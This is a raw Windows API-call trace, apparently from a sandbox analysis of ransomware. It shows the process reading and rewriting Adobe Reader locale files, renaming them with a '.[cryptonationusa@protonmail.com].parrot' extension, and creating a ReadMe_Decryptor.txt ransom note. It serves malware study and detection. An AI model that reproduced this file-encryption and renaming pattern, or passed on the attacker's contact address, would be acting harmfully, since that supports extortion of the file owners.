(in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x13600, lpOverlapped=0x0) returned 1 [0262.357] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.379] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Multimedia.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\multimedia.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Multimedia.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\multimedia.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0262.383] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326a40 | out: hHeap=0x5b0000) returned 1 [0262.383] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0262.383] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32b65c8 | out: hHeap=0x5b0000) returned 1 [0262.386] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0262.386] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0262.387] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.388] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0262.389] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.389] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\pddom.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\pddom.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\pddom.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\pddom.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0262.393] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333c408 | out: hHeap=0x5b0000) returned 1 [0262.393] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0262.393] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332e648 | out: hHeap=0x5b0000) returned 1 [0262.394] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0262.394] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0262.396] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.396] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7e800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7e800, lpOverlapped=0x0) returned 1 [0262.409] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.468] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\PPKLite.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ppklite.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\PPKLite.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ppklite.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0262.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326a40 | out: hHeap=0x5b0000) returned 1 [0262.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0262.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0262.477] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0262.477] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0262.478] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.479] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0262.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0262.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0262.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0262.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0262.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0262.487] GetLastError () returned 0x0 [0262.575] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.575] WriteFile (in: hFile=0x288, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0262.581] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.581] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0262.585] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14d718, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0262.585] CloseHandle (hObject=0x288) returned 1 [0262.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0262.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x3326a40 [0262.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3275a58 | out: hHeap=0x5b0000) returned 1 [0262.585] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\RdLang32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\rdlang32.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\RdLang32.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\rdlang32.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0262.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326a40 | out: hHeap=0x5b0000) returned 1 [0262.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0262.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0262.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0262.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0262.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0262.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0262.596] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\ReadMe_Decryptor.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0262.599] GetFileType (hFile=0x288) returned 0x1 [0262.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0262.623] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0262.623] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0262.625] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.625] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2c00, lpOverlapped=0x0) returned 1 [0262.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0262.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0262.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0262.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0262.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0262.626] GetLastError () returned 0x0 [0262.627] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0262.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0262.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0262.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0262.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0262.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0262.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0262.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0262.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0262.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0262.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0262.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0262.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0262.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0262.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0262.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0262.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0262.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0262.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0262.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0262.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0262.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0262.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0262.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0262.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0262.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0262.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0262.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0262.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0262.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0262.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0262.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0262.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0262.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0262.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0262.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0262.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0262.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0262.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0262.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0262.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x32de660 [0262.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0262.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x3332688 [0262.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de660 | out: hHeap=0x5b0000) returned 1 [0262.628] WriteFile (in: hFile=0x288, lpBuffer=0x33326a0*, nNumberOfBytesToWrite=0x2d28, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x33326a0*, lpNumberOfBytesWritten=0x18e8f4*=0x2d28, lpOverlapped=0x0) returned 1 [0262.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3332688 | out: hHeap=0x5b0000) returned 1 [0262.632] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2d18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0262.632] CloseHandle (hObject=0x288) returned 1 [0262.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0262.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x3326a40 [0262.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3275a58 | out: hHeap=0x5b0000) returned 1 [0262.632] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\ReadOutLoud.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\readoutloud.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\ReadOutLoud.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\readoutloud.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0262.634] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326a40 | out: hHeap=0x5b0000) returned 1 [0262.634] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0262.634] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332e648 | out: hHeap=0x5b0000) returned 1 [0262.634] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0262.634] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0262.634] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0262.634] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0262.637] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0262.637] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0262.638] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.638] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0262.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0262.639] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0262.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0262.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0262.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0262.639] GetLastError () returned 0x0 [0262.639] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0262.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0262.639] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0262.639] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0262.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0262.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0262.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0262.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0262.641] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0262.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0262.641] WriteFile (in: hFile=0x288, lpBuffer=0x31fe560*, nNumberOfBytesToWrite=0x1328, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31fe560*, lpNumberOfBytesWritten=0x18e8f4*=0x1328, lpOverlapped=0x0) returned 1 [0262.643] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0262.643] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1318, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0262.643] CloseHandle (hObject=0x288) returned 1 [0262.643] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x315d788 [0262.643] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x333c408 [0262.643] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0262.643] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\reflow.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 